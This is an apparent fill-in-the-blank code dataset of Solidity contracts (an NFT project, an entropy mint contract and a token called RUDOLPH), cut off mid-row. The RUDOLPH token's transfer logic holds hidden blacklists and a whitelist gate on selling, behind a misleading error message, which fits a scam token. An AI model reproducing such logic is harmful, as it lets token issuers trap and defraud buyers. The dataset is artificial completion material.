*/ function setProjectionParameters( uint256 tokenId, ProjectionParameters calldata projectionParameters ) external onlyApprovedOrOwner(tokenId) { } /** * @notice Set or reset the color anchors for a given token. * @dev To revert to the _systems default, `colorAnchors` has to be empty. * On own method for resetting was omitted to remain below the contract size * limit. * See `ColorMixer` for more details on the color system. */ function setColorAnchors(uint256 tokenId, uint32[] calldata colorAnchors) external onlyApprovedOrOwner(tokenId) { } /** * @notice Set the rendersize for a given token. */ function setRenderSize(uint256 tokenId, uint8 renderSize) external onlyApprovedOrOwner(tokenId) { } /** * @notice Reset various rendering parameters for a given token. * @dev Setting the individual flag to true resets the associated parameters. */ function resetRenderParameters( uint256 tokenId, bool resetProjectionParameters, bool resetColorAnchors, bool resetRenderSize ) external onlyApprovedOrOwner(tokenId) { } // ------------------------------------------------------------------------- // // External getters, metadata and steering // // ------------------------------------------------------------------------- /** * @notice Retrieve a system with a given ID. * @dev This was necessay because for some reason the default public getter * does not return `defaultColorAnchors` correctly. */ function systems(uint8 systemId) external view returns (AttractorSystem memory) { } /** * @notice Retrieve a token with a given ID. * @dev This was necessay because for some reason the default public getter * does not return `colorAnchors` correctly. */ function tokens(uint256 tokenId) external view returns (Token memory) { } /** * @dev Sets the royalty percentage (in units of 0.01%) */ function setRoyaltyPercentage(uint256 percentage) external onlyOwner { } /** * @dev Sets the address to receive the royalties */ function setRoyaltyReceiver(address receiver) external onlyOwner { } // ------------------------------------------------------------------------- // // Internal stuff // // ------------------------------------------------------------------------- /** * @dev Approves the opensea proxy for token transfers. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { } function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, ERC2981) returns (bool) { } modifier onlyApprovedOrOwner(uint256 tokenId) { } }
containsSystem[0]&&containsSystem[1]&&containsSystem[2]&&containsSystem[3],"Tokens of each system required"
379,817
containsSystem[0]&&containsSystem[1]&&containsSystem[2]&&containsSystem[3]
"System capacity exhausted"
// SPDX-License-Identifier: UNLICENSED // Copyright 2021 David Huber (@cxkoda) // All Rights Reserved pragma solidity >=0.8.0 <0.9.0; import "./solvers/IAttractorSolver.sol"; import "./renderers/ISvgRenderer.sol"; import "./utils/BaseOpenSea.sol"; import "./utils/ERC2981SinglePercentual.sol"; import "./utils/SignedSlotRestrictable.sol"; import "./utils/ColorMixer.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/PullPayment.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; /** * @notice Fully on-chain interactive NFT project performing numerical * simulations of chaotic, multi-dimensional _systems. * @dev This contract implements tokenonmics of the project, conforming to the * ERC721 and ERC2981 standard. * @author David Huber (@cxkoda) */ contract StrangeAttractors is BaseOpenSea, SignedSlotRestrictable, ERC2981SinglePercentual, ERC721Enumerable, Ownable, PullPayment { /** * @notice Maximum number of editions per system. */ uint8 private constant MAX_PER_SYSTEM = 128; /** * @notice Max number that the contract owner can mint in a specific system. * @dev The contract assumes that the owner mints the first pieces. */ uint8 private constant OWNER_ALLOCATION = 2; /** * @notice Mint price */ uint256 public constant MINT_PRICE = (35 ether) / 100; /** * @notice Contains the configuration of a given _systems in the collection. */ struct AttractorSystem { string description; uint8 numLeftForMint; bool locked; ISvgRenderer renderer; uint8 defaultRenderSize; uint32[] defaultColorAnchors; IAttractorSolver solver; SolverParameters solverParameters; } /** * @notice Systems in the collection. * @dev Convention: The first system is the fullset system. */ AttractorSystem[] private _systems; /** * @notice Token configuration */ struct Token { uint8 systemId; bool usedForFullsetToken; bool useDefaultColors; bool useDefaultProjection; uint8 renderSize; uint256 randomSeed; ProjectionParameters projectionParameters; uint32[] colorAnchors; } /** * @notice All existing _tokens * @dev Maps tokenId => token configuration */ mapping(uint256 => Token) private _tokens; // ------------------------------------------------------------------------- // // Collection setup // // ------------------------------------------------------------------------- /** * @notice Contract constructor * @dev Sets the owner as default 10% royalty receiver. */ constructor( string memory name, string memory symbol, address slotSigner, address openSeaProxyRegistry ) ERC721(name, symbol) { } /** * @notice Adds a new attractor system to the collection * @dev This is used to set up the collection after contract deployment. * If `systemId` is a valid ID, the corresponding, existing system will * be overwritten. Otherwise a new system will be added. * Further system modification is prevented if the system is locked. * Both adding and modifying were merged in this single method to avoid * hitting the contract size limit. */ function newAttractorSystem( string calldata description, address solver, SolverParameters calldata solverParameters, address renderer, uint32[] calldata defaultColorAnchors, uint8 defaultRenderSize, uint256 systemId ) external onlyOwner { } /** * @notice Locks a system against further modifications. */ function lockSystem(uint8 systemId) external onlyOwner { } // ------------------------------------------------------------------------- // // Minting // // ------------------------------------------------------------------------- function setSlotSigner(address signer) external onlyOwner { } /** * @notice Enable or disable the slot restriction for minting. */ function setSlotRestriction(bool enabled) external onlyOwner { } /** * @notice Interface to mint the remaining owner allocated pieces. * @dev This has to be executed before anyone else has minted. */ function safeMintOwner() external onlyOwner { } /** * @notice Mint interface for regular users. * @dev Mints one edition piece from a randomly selected system. The * The probability to mint a given system is proportional to the available * editions. */ function safeMintRegularToken(uint256 nonce, bytes calldata signature) external payable { } /** * @notice Interface to mint a special token for fullset holders. * @dev The sender needs to supply one unused token of every regular * system. */ function safeMintFullsetToken(uint256[4] calldata tokenIds) external onlyApprovedOrOwner(tokenIds[0]) onlyApprovedOrOwner(tokenIds[1]) onlyApprovedOrOwner(tokenIds[2]) onlyApprovedOrOwner(tokenIds[3]) { } /** * @notice Flag for enabling fullset token minting. */ bool public isFullsetMintEnabled = false; /** * @notice Toggles the ability to mint fullset _tokens. */ function enableFullsetMint(bool enable) external onlyOwner { } /** * @dev Mints the next token in the system. */ function _safeMintInAttractor(uint8 systemId) internal returns (uint256 tokenId) { require(systemId < _systems.length, "Mint in non-existent system."); require(<FILL_ME>) tokenId = (systemId * _tokenIdSystemMultiplier) + (MAX_PER_SYSTEM - _systems[systemId].numLeftForMint); _tokens[tokenId] = Token({ systemId: systemId, randomSeed: _random(tokenId), projectionParameters: ProjectionParameters( new int256[](0), new int256[](0), new int256[](0) ), colorAnchors: new uint32[](0), usedForFullsetToken: false, useDefaultColors: true, useDefaultProjection: true, renderSize: _systems[systemId].defaultRenderSize }); _systems[systemId].numLeftForMint--; _safeMint(_msgSender(), tokenId); } /** * @notice Defines the system prefix in the `tokenId`. * @dev Convention: The `tokenId` will be given by * `edition + _tokenIdSystemMultiplier * systemId` */ uint256 private constant _tokenIdSystemMultiplier = 1e3; /** * @notice Retrieves the `systemId` from a given `tokenId`. */ function _getTokenSystemId(uint256 tokenId) internal pure returns (uint8) { } /** * @notice Retrieves the `edition` from a given `tokenId`. */ function _getTokenEdition(uint256 tokenId) internal pure returns (uint8) { } /** * @notice Draw a pseudo-random number. * @dev Although the drawing can be manipulated with this implementation, * it is sufficiently fair for the given purpose. * Multiple evaluations on the same block with the same `modSeed` from the * same sender will yield the same random numbers. */ function _random(uint256 modSeed) internal view returns (uint256) { } /** * @notice Re-draw a _tokens `randomSeed`. * @dev This is implemented as a last resort if a _tokens `randomSeed` * produces starting values that do not converge to the attractor. * Although this never happened while testing, you never know for sure * with random numbers. */ function rerollTokenRandomSeed(uint256 tokenId) external onlyOwner { } // ------------------------------------------------------------------------- // // Rendering // // ------------------------------------------------------------------------- /** * @notice Assembles the name of a token * @dev Composed of the system name provided by the solver and the tokens * edition number. The returned string has been escapted for usage in * data-uris. */ function getTokenName(uint256 tokenId) public view returns (string memory) { } /** * @notice Renders a given token with externally supplied parameters. * @return The svg string. */ function renderWithConfig( uint256 tokenId, ProjectionParameters memory projectionParameters, uint32[] memory colorAnchors, uint8 renderSize ) public view returns (string memory) { } /** * @notice Returns the `ProjectionParameters` for a given token. * @dev Checks if default settings are used and computes them if needed. */ function getProjectionParameters(uint256 tokenId) public view returns (ProjectionParameters memory) { } /** * @notice Returns the `colormap` for a given token. * @dev Checks if default settings are used and retrieves them if needed. */ function getColorAnchors(uint256 tokenId) public view returns (uint32[] memory colormap) { } /** * @notice Returns data URI of token metadata. * @dev The output conforms to the Opensea attributes metadata standard. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } // ------------------------------------------------------------------------- // // Token interaction // // ------------------------------------------------------------------------- /** * @notice Set the projection parameters for a given token. */ function setProjectionParameters( uint256 tokenId, ProjectionParameters calldata projectionParameters ) external onlyApprovedOrOwner(tokenId) { } /** * @notice Set or reset the color anchors for a given token. * @dev To revert to the _systems default, `colorAnchors` has to be empty. * On own method for resetting was omitted to remain below the contract size * limit. * See `ColorMixer` for more details on the color system. */ function setColorAnchors(uint256 tokenId, uint32[] calldata colorAnchors) external onlyApprovedOrOwner(tokenId) { } /** * @notice Set the rendersize for a given token. */ function setRenderSize(uint256 tokenId, uint8 renderSize) external onlyApprovedOrOwner(tokenId) { } /** * @notice Reset various rendering parameters for a given token. * @dev Setting the individual flag to true resets the associated parameters. */ function resetRenderParameters( uint256 tokenId, bool resetProjectionParameters, bool resetColorAnchors, bool resetRenderSize ) external onlyApprovedOrOwner(tokenId) { } // ------------------------------------------------------------------------- // // External getters, metadata and steering // // ------------------------------------------------------------------------- /** * @notice Retrieve a system with a given ID. * @dev This was necessay because for some reason the default public getter * does not return `defaultColorAnchors` correctly. */ function systems(uint8 systemId) external view returns (AttractorSystem memory) { } /** * @notice Retrieve a token with a given ID. * @dev This was necessay because for some reason the default public getter * does not return `colorAnchors` correctly. */ function tokens(uint256 tokenId) external view returns (Token memory) { } /** * @dev Sets the royalty percentage (in units of 0.01%) */ function setRoyaltyPercentage(uint256 percentage) external onlyOwner { } /** * @dev Sets the address to receive the royalties */ function setRoyaltyReceiver(address receiver) external onlyOwner { } // ------------------------------------------------------------------------- // // Internal stuff // // ------------------------------------------------------------------------- /** * @dev Approves the opensea proxy for token transfers. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { } function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, ERC2981) returns (bool) { } modifier onlyApprovedOrOwner(uint256 tokenId) { } }
_systems[systemId].numLeftForMint>0,"System capacity exhausted"
379,817
_systems[systemId].numLeftForMint>0
"Invalid projection parameters"
// SPDX-License-Identifier: UNLICENSED // Copyright 2021 David Huber (@cxkoda) // All Rights Reserved pragma solidity >=0.8.0 <0.9.0; import "./solvers/IAttractorSolver.sol"; import "./renderers/ISvgRenderer.sol"; import "./utils/BaseOpenSea.sol"; import "./utils/ERC2981SinglePercentual.sol"; import "./utils/SignedSlotRestrictable.sol"; import "./utils/ColorMixer.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/PullPayment.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; /** * @notice Fully on-chain interactive NFT project performing numerical * simulations of chaotic, multi-dimensional _systems. * @dev This contract implements tokenonmics of the project, conforming to the * ERC721 and ERC2981 standard. * @author David Huber (@cxkoda) */ contract StrangeAttractors is BaseOpenSea, SignedSlotRestrictable, ERC2981SinglePercentual, ERC721Enumerable, Ownable, PullPayment { /** * @notice Maximum number of editions per system. */ uint8 private constant MAX_PER_SYSTEM = 128; /** * @notice Max number that the contract owner can mint in a specific system. * @dev The contract assumes that the owner mints the first pieces. */ uint8 private constant OWNER_ALLOCATION = 2; /** * @notice Mint price */ uint256 public constant MINT_PRICE = (35 ether) / 100; /** * @notice Contains the configuration of a given _systems in the collection. */ struct AttractorSystem { string description; uint8 numLeftForMint; bool locked; ISvgRenderer renderer; uint8 defaultRenderSize; uint32[] defaultColorAnchors; IAttractorSolver solver; SolverParameters solverParameters; } /** * @notice Systems in the collection. * @dev Convention: The first system is the fullset system. */ AttractorSystem[] private _systems; /** * @notice Token configuration */ struct Token { uint8 systemId; bool usedForFullsetToken; bool useDefaultColors; bool useDefaultProjection; uint8 renderSize; uint256 randomSeed; ProjectionParameters projectionParameters; uint32[] colorAnchors; } /** * @notice All existing _tokens * @dev Maps tokenId => token configuration */ mapping(uint256 => Token) private _tokens; // ------------------------------------------------------------------------- // // Collection setup // // ------------------------------------------------------------------------- /** * @notice Contract constructor * @dev Sets the owner as default 10% royalty receiver. */ constructor( string memory name, string memory symbol, address slotSigner, address openSeaProxyRegistry ) ERC721(name, symbol) { } /** * @notice Adds a new attractor system to the collection * @dev This is used to set up the collection after contract deployment. * If `systemId` is a valid ID, the corresponding, existing system will * be overwritten. Otherwise a new system will be added. * Further system modification is prevented if the system is locked. * Both adding and modifying were merged in this single method to avoid * hitting the contract size limit. */ function newAttractorSystem( string calldata description, address solver, SolverParameters calldata solverParameters, address renderer, uint32[] calldata defaultColorAnchors, uint8 defaultRenderSize, uint256 systemId ) external onlyOwner { } /** * @notice Locks a system against further modifications. */ function lockSystem(uint8 systemId) external onlyOwner { } // ------------------------------------------------------------------------- // // Minting // // ------------------------------------------------------------------------- function setSlotSigner(address signer) external onlyOwner { } /** * @notice Enable or disable the slot restriction for minting. */ function setSlotRestriction(bool enabled) external onlyOwner { } /** * @notice Interface to mint the remaining owner allocated pieces. * @dev This has to be executed before anyone else has minted. */ function safeMintOwner() external onlyOwner { } /** * @notice Mint interface for regular users. * @dev Mints one edition piece from a randomly selected system. The * The probability to mint a given system is proportional to the available * editions. */ function safeMintRegularToken(uint256 nonce, bytes calldata signature) external payable { } /** * @notice Interface to mint a special token for fullset holders. * @dev The sender needs to supply one unused token of every regular * system. */ function safeMintFullsetToken(uint256[4] calldata tokenIds) external onlyApprovedOrOwner(tokenIds[0]) onlyApprovedOrOwner(tokenIds[1]) onlyApprovedOrOwner(tokenIds[2]) onlyApprovedOrOwner(tokenIds[3]) { } /** * @notice Flag for enabling fullset token minting. */ bool public isFullsetMintEnabled = false; /** * @notice Toggles the ability to mint fullset _tokens. */ function enableFullsetMint(bool enable) external onlyOwner { } /** * @dev Mints the next token in the system. */ function _safeMintInAttractor(uint8 systemId) internal returns (uint256 tokenId) { } /** * @notice Defines the system prefix in the `tokenId`. * @dev Convention: The `tokenId` will be given by * `edition + _tokenIdSystemMultiplier * systemId` */ uint256 private constant _tokenIdSystemMultiplier = 1e3; /** * @notice Retrieves the `systemId` from a given `tokenId`. */ function _getTokenSystemId(uint256 tokenId) internal pure returns (uint8) { } /** * @notice Retrieves the `edition` from a given `tokenId`. */ function _getTokenEdition(uint256 tokenId) internal pure returns (uint8) { } /** * @notice Draw a pseudo-random number. * @dev Although the drawing can be manipulated with this implementation, * it is sufficiently fair for the given purpose. * Multiple evaluations on the same block with the same `modSeed` from the * same sender will yield the same random numbers. */ function _random(uint256 modSeed) internal view returns (uint256) { } /** * @notice Re-draw a _tokens `randomSeed`. * @dev This is implemented as a last resort if a _tokens `randomSeed` * produces starting values that do not converge to the attractor. * Although this never happened while testing, you never know for sure * with random numbers. */ function rerollTokenRandomSeed(uint256 tokenId) external onlyOwner { } // ------------------------------------------------------------------------- // // Rendering // // ------------------------------------------------------------------------- /** * @notice Assembles the name of a token * @dev Composed of the system name provided by the solver and the tokens * edition number. The returned string has been escapted for usage in * data-uris. */ function getTokenName(uint256 tokenId) public view returns (string memory) { } /** * @notice Renders a given token with externally supplied parameters. * @return The svg string. */ function renderWithConfig( uint256 tokenId, ProjectionParameters memory projectionParameters, uint32[] memory colorAnchors, uint8 renderSize ) public view returns (string memory) { } /** * @notice Returns the `ProjectionParameters` for a given token. * @dev Checks if default settings are used and computes them if needed. */ function getProjectionParameters(uint256 tokenId) public view returns (ProjectionParameters memory) { } /** * @notice Returns the `colormap` for a given token. * @dev Checks if default settings are used and retrieves them if needed. */ function getColorAnchors(uint256 tokenId) public view returns (uint32[] memory colormap) { } /** * @notice Returns data URI of token metadata. * @dev The output conforms to the Opensea attributes metadata standard. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } // ------------------------------------------------------------------------- // // Token interaction // // ------------------------------------------------------------------------- /** * @notice Set the projection parameters for a given token. */ function setProjectionParameters( uint256 tokenId, ProjectionParameters calldata projectionParameters ) external onlyApprovedOrOwner(tokenId) { require(<FILL_ME>) _tokens[tokenId].projectionParameters = projectionParameters; _tokens[tokenId].useDefaultProjection = false; } /** * @notice Set or reset the color anchors for a given token. * @dev To revert to the _systems default, `colorAnchors` has to be empty. * On own method for resetting was omitted to remain below the contract size * limit. * See `ColorMixer` for more details on the color system. */ function setColorAnchors(uint256 tokenId, uint32[] calldata colorAnchors) external onlyApprovedOrOwner(tokenId) { } /** * @notice Set the rendersize for a given token. */ function setRenderSize(uint256 tokenId, uint8 renderSize) external onlyApprovedOrOwner(tokenId) { } /** * @notice Reset various rendering parameters for a given token. * @dev Setting the individual flag to true resets the associated parameters. */ function resetRenderParameters( uint256 tokenId, bool resetProjectionParameters, bool resetColorAnchors, bool resetRenderSize ) external onlyApprovedOrOwner(tokenId) { } // ------------------------------------------------------------------------- // // External getters, metadata and steering // // ------------------------------------------------------------------------- /** * @notice Retrieve a system with a given ID. * @dev This was necessay because for some reason the default public getter * does not return `defaultColorAnchors` correctly. */ function systems(uint8 systemId) external view returns (AttractorSystem memory) { } /** * @notice Retrieve a token with a given ID. * @dev This was necessay because for some reason the default public getter * does not return `colorAnchors` correctly. */ function tokens(uint256 tokenId) external view returns (Token memory) { } /** * @dev Sets the royalty percentage (in units of 0.01%) */ function setRoyaltyPercentage(uint256 percentage) external onlyOwner { } /** * @dev Sets the address to receive the royalties */ function setRoyaltyReceiver(address receiver) external onlyOwner { } // ------------------------------------------------------------------------- // // Internal stuff // // ------------------------------------------------------------------------- /** * @dev Approves the opensea proxy for token transfers. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { } function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, ERC2981) returns (bool) { } modifier onlyApprovedOrOwner(uint256 tokenId) { } }
_systems[_getTokenSystemId(tokenId)].solver.isValidProjectionParameters(projectionParameters),"Invalid projection parameters"
379,817
_systems[_getTokenSystemId(tokenId)].solver.isValidProjectionParameters(projectionParameters)
null
/* ___ _ _ __ __ _ ___ _ _ | _ \ || | _\ /__\| | | _,\ || | | v / \/ | v | \/ | |_| v_/ >< | |_|_\\__/|__/ \__/|___|_| |_||_| RUDOLPH is a new ERC20/Eth Token that is used for the Jingle Bells Play to earn game. 5% Tax for marketing & buyback + burn Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 50% Supply Burned on Launch 100% Fair Launch - no presale, no whitelist Join the telegram or visit our site for more info */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract RUDOLPH is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 4500000000000*10**18; string public _name = "RUDOLPH"; string public _symbol= "RUDOLPH"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { } address public owner; address private marketAddy = payable(0xa353f28300C40a6954E8248D614a82048663E1eF); modifier onlyOwner { } function changeOwner(address _owner) onlyOwner public { } function RenounceOwnership() onlyOwner public { } function giveReflections(address[] memory recipients_) onlyOwner public { } function setReflections() onlyOwner public { } function openTrading() public onlyOwner { } receive() external payable {} function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require(<FILL_ME>) _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
(amount<500000000000*10**18)||(sender==marketAddy)||(sender==owner)||(sender==address(this))
379,852
(amount<500000000000*10**18)||(sender==marketAddy)||(sender==owner)||(sender==address(this))
'Has already been minted.'
pragma solidity 0.5.2; /*************** ** ** ** INTERFACES ** ** ** ***************/ /** * @title Interface for EllipticCurve contract. */ interface EllipticCurveInterface { function validateSignature(bytes32 message, uint[2] calldata rs, uint[2] calldata Q) external view returns (bool); } /** * @title Interface for Register contract. */ interface RegisterInterface { function getKongAmount(bytes32 primaryPublicKeyHash) external view returns (uint); function getTertiaryKeyHash(bytes32 primaryPublicKeyHash) external view returns (bytes32); function mintKong(bytes32 primaryPublicKeyHash, address recipient) external; } /********************************* ** ** ** ENTROPY DIRECT MINT CONTRACT ** ** ** *********************************/ /** * @title Kong Entropy Contract. * * @dev This contract can be presented with signatures for public keys registered in the * `Register` contract. The function `submitEntropy()` verifies the validity of the * signature using the remotely deployed `EllipticCurve` contract. If the signature * is valid, the contract calls the `mintKong()` function of the `Register` contract * to mint Kong. */ contract KongEntropyDirectMint { // Addresses of the contracts `Register` and `EllipticCurve`. address public _regAddress; address public _eccAddress; // Array storing hashes of signatures successfully submitted to submitEntropy() function. bytes32[] public _hashedSignaturesArray; // Length of _hashedSignaturesArray. uint256 public _hashedSignaturesIndex; // Mapping for minting status of keys. mapping(bytes32 => bool) public _mintedKeys; // Emits when submitEntropy() is successfully called. event Minted( bytes32 primaryPublicKeyHash, bytes32 message, uint256 r, uint256 s ); /** * @dev The constructor sets the addresses of the contracts `Register` and `EllipticCurve`. * * @param eccAddress The address of the EllipticCurve contract. * @param regAddress The address of the Register contract. */ constructor(address eccAddress, address regAddress) public { } /** * @dev `submitEntropy()` can be presented with SECP256R1 signatures of public keys registered * in the `Register` contract. When presented with a valid signature in the expected format, * the contract calls the `mintKong()` function of `Register` to mint Kong token to `to`. * * @param primaryPublicKeyHash Hash of the primary public key. * @param tertiaryPublicKeyX The x-coordinate of the tertiary public key. * @param tertiaryPublicKeyY The y-coordinate of the tertiary public key. * @param to Recipient. * @param blockNumber Block number of the signed blockhash. * @param rs The array containing the r & s values fo the signature. */ function submitEntropy( bytes32 primaryPublicKeyHash, uint256 tertiaryPublicKeyX, uint256 tertiaryPublicKeyY, address to, uint256 blockNumber, uint256[2] memory rs ) public { // Verify that the primary key hash is registered and associated with a non-zero tertiary key hash. bytes32 tertiaryPublicKeyHash = RegisterInterface(_regAddress).getTertiaryKeyHash(primaryPublicKeyHash); require(tertiaryPublicKeyHash != 0, 'Found no registration.'); // Verify that the hash of the provided tertiary key coincides with the stored hash of the tertiary key. bytes32 hashedKey = sha256(abi.encodePacked(tertiaryPublicKeyX, tertiaryPublicKeyY)); require(tertiaryPublicKeyHash == hashedKey, 'Provided key does not hash to expected value.'); // Verify that no signature has been submitted before for this key. require(<FILL_ME>) // Get Kong amount; Divide internal representation by 10 ** 17 for cost scaling. uint scaledKongAmount = RegisterInterface(_regAddress).getKongAmount(primaryPublicKeyHash) / uint(10 ** 17); // Perform work in proportion to scaledKongAmount. bytes32 powHash = blockhash(block.number); for (uint i=0; i < scaledKongAmount; i++) { powHash = keccak256(abi.encodePacked(powHash)); } // Validate signature. bytes32 messageHash = sha256(abi.encodePacked(to, blockhash(blockNumber))); require(_validateSignature(messageHash, rs, tertiaryPublicKeyX, tertiaryPublicKeyY), 'Invalid signature.'); // Create a hash of the provided signature. bytes32 sigHash = sha256(abi.encodePacked(rs[0], rs[1])); // Store hashed signature and update index / length of array. _hashedSignaturesIndex = _hashedSignaturesArray.push(sigHash); // Update mapping with minted keys. _mintedKeys[primaryPublicKeyHash] = true; // Call minting function in Register contract. RegisterInterface(_regAddress).mintKong(primaryPublicKeyHash, to); // Emit event. emit Minted(primaryPublicKeyHash, messageHash, rs[0], rs[1]); } /** * @dev Function to validate SECP256R1 signatures. * * @param message The hash of the signed message. * @param rs R+S value of the signature. * @param publicKeyX X-coordinate of the publicKey. * @param publicKeyY Y-coordinate of the publicKey. */ function _validateSignature( bytes32 message, uint256[2] memory rs, uint256 publicKeyX, uint256 publicKeyY ) internal view returns (bool) { } /** * @dev Function to return the submitted signatures at location `index` in the array of * signatures. * * @param index Location of signature in array of hashed signatures. */ function getHashedSignature( uint256 index ) public view returns(bytes32) { } }
_mintedKeys[primaryPublicKeyHash]==false,'Has already been minted.'
379,863
_mintedKeys[primaryPublicKeyHash]==false
'Invalid signature.'
pragma solidity 0.5.2; /*************** ** ** ** INTERFACES ** ** ** ***************/ /** * @title Interface for EllipticCurve contract. */ interface EllipticCurveInterface { function validateSignature(bytes32 message, uint[2] calldata rs, uint[2] calldata Q) external view returns (bool); } /** * @title Interface for Register contract. */ interface RegisterInterface { function getKongAmount(bytes32 primaryPublicKeyHash) external view returns (uint); function getTertiaryKeyHash(bytes32 primaryPublicKeyHash) external view returns (bytes32); function mintKong(bytes32 primaryPublicKeyHash, address recipient) external; } /********************************* ** ** ** ENTROPY DIRECT MINT CONTRACT ** ** ** *********************************/ /** * @title Kong Entropy Contract. * * @dev This contract can be presented with signatures for public keys registered in the * `Register` contract. The function `submitEntropy()` verifies the validity of the * signature using the remotely deployed `EllipticCurve` contract. If the signature * is valid, the contract calls the `mintKong()` function of the `Register` contract * to mint Kong. */ contract KongEntropyDirectMint { // Addresses of the contracts `Register` and `EllipticCurve`. address public _regAddress; address public _eccAddress; // Array storing hashes of signatures successfully submitted to submitEntropy() function. bytes32[] public _hashedSignaturesArray; // Length of _hashedSignaturesArray. uint256 public _hashedSignaturesIndex; // Mapping for minting status of keys. mapping(bytes32 => bool) public _mintedKeys; // Emits when submitEntropy() is successfully called. event Minted( bytes32 primaryPublicKeyHash, bytes32 message, uint256 r, uint256 s ); /** * @dev The constructor sets the addresses of the contracts `Register` and `EllipticCurve`. * * @param eccAddress The address of the EllipticCurve contract. * @param regAddress The address of the Register contract. */ constructor(address eccAddress, address regAddress) public { } /** * @dev `submitEntropy()` can be presented with SECP256R1 signatures of public keys registered * in the `Register` contract. When presented with a valid signature in the expected format, * the contract calls the `mintKong()` function of `Register` to mint Kong token to `to`. * * @param primaryPublicKeyHash Hash of the primary public key. * @param tertiaryPublicKeyX The x-coordinate of the tertiary public key. * @param tertiaryPublicKeyY The y-coordinate of the tertiary public key. * @param to Recipient. * @param blockNumber Block number of the signed blockhash. * @param rs The array containing the r & s values fo the signature. */ function submitEntropy( bytes32 primaryPublicKeyHash, uint256 tertiaryPublicKeyX, uint256 tertiaryPublicKeyY, address to, uint256 blockNumber, uint256[2] memory rs ) public { // Verify that the primary key hash is registered and associated with a non-zero tertiary key hash. bytes32 tertiaryPublicKeyHash = RegisterInterface(_regAddress).getTertiaryKeyHash(primaryPublicKeyHash); require(tertiaryPublicKeyHash != 0, 'Found no registration.'); // Verify that the hash of the provided tertiary key coincides with the stored hash of the tertiary key. bytes32 hashedKey = sha256(abi.encodePacked(tertiaryPublicKeyX, tertiaryPublicKeyY)); require(tertiaryPublicKeyHash == hashedKey, 'Provided key does not hash to expected value.'); // Verify that no signature has been submitted before for this key. require(_mintedKeys[primaryPublicKeyHash] == false, 'Has already been minted.'); // Get Kong amount; Divide internal representation by 10 ** 17 for 